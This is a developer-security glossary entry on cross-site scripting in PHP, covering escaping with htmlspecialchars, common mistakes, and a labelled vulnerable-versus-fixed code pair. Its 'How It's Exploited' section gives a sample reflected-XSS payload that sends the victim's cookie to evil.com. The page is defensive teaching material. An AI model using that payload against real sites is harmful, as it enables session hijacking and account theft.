Cross-Site Scripting (XSS)
Also Known As
Cross-Site Scripting
cross site scripting
XSS attack
script injection
TL;DR
User-supplied content rendered in the browser without escaping, allowing script injection into other users' sessions.
Explanation
XSS lets attackers inject JavaScript into pages viewed by other users. Reflected XSS triggers via a crafted URL; stored XSS persists in the database and fires for every visitor. Consequences include session hijacking, credential theft, keylogging, and full account takeover. Prevention requires context-aware output encoding — in PHP, htmlspecialchars() with ENT_QUOTES for HTML contexts, and different escaping for JS, CSS, and URL contexts.
How It's Exploited
GET /hello?name=<script>document.location='https://evil.com/?c='+document.cookie</script>
# Executes in victim's browser, steals session cookie
# Executes in victim's browser, steals session cookie
Diagram
flowchart TD
ATK[Attacker] -->|stores script| DB[(Database<br/>or URL param)]
VICTIM[Victim visits page] --> SERVER[Server renders<br/>unescaped output]
SERVER -->|script in HTML| BROWSER[Browser executes<br/>attacker script]
BROWSER -->|steal cookie| ATK
BROWSER -->|keylog form| ATK
subgraph Fix
OUT[Output] --> ESC[htmlspecialchars<br/>Content-Security-Policy]
ESC --> SAFE[Inert text<br/>not executed]
end
style LEAK fill:#f85149,color:#fff
style SAFE fill:#238636,color:#fff
Common Misconception
✗ Stripping HTML tags prevents XSS. Attackers use encoded payloads, CSS, SVG, and event attributes that survive tag stripping — the only reliable fix is context-aware output encoding (HTML, JS, CSS, URL contexts each need different escaping).
Why It Matters
XSS lets attackers run arbitrary JavaScript in victims' browsers — stealing session cookies, redirecting users, or logging keystrokes. It is the most common web vulnerability and entirely preventable with output encoding.
Common Mistakes
- Encoding input on the way in rather than on output — context determines the correct encoding, not the storage layer.
- Forgetting that HTML encoding is wrong inside JavaScript contexts — you need JS encoding there.
- Trusting htmlspecialchars() without ENT_QUOTES — single quotes in attributes remain dangerous.
- Marking user content as safe in templating engines (e.g. {!! $var !!} in Blade) without explicit sanitisation.
Avoid When
- Do not rely on input sanitisation alone — stripping tags on input does not prevent XSS on output.
- Do not use htmlspecialchars() for JavaScript, URL, or CSS contexts — each context requires its own escaping function.
When To Use
- Understanding XSS is essential for any developer rendering user-supplied content in a browser.
- Apply output encoding whenever displaying data from any untrusted source — database, API, user input.
Code Examples
✗ Vulnerable
// Reflected XSS — user input echoed directly
echo '<p>Hello, ' . $_GET['name'] . '</p>';
✓ Fixed
// Always escape output for the correct context
echo '<p>Hello, ' . htmlspecialchars($_GET['name'] ?? '', ENT_QUOTES, 'UTF-8') . '</p>';
// For JS context, json_encode is the correct escaper:
$data = json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP);
References
Tags
🤝 Adopt this term
£79/year · your link shown here
Added
13 Mar 2026
Edited
31 Mar 2026
Views
34
🤖 AI Guestbook educational data only
|
|
Last 30 days
Agents 0
No pings yet today
No pings yesterday
Perplexity 9
Amazonbot 6
Ahrefs 4
Unknown AI 3
SEMrush 3
Google 2
ChatGPT 1
Also referenced
How they use it
crawler 26
crawler_json 1
pre-tracking 1
Related categories
⚡
DEV INTEL
Tools & Severity
🟠 High
⚙ Fix effort: Low
⚡ Quick Fix
Wrap all user output in htmlspecialchars($val, ENT_QUOTES, 'UTF-8') and add Content-Security-Policy header
📦 Applies To
PHP 5.0+
web
🔗 Prerequisites
🔍 Detection Hints
echo $_GET[ or echo $_POST[ or echo $user-> without htmlspecialchars
Auto-detectable:
✓ Yes
phpstan
semgrep
psalm
⚠ Related Problems
🤖 AI Agent
Confidence: High
False Positives: Medium
✗ Manual fix
Fix: Medium
Context: Function
Tests: Update
CWE-79
CWE-80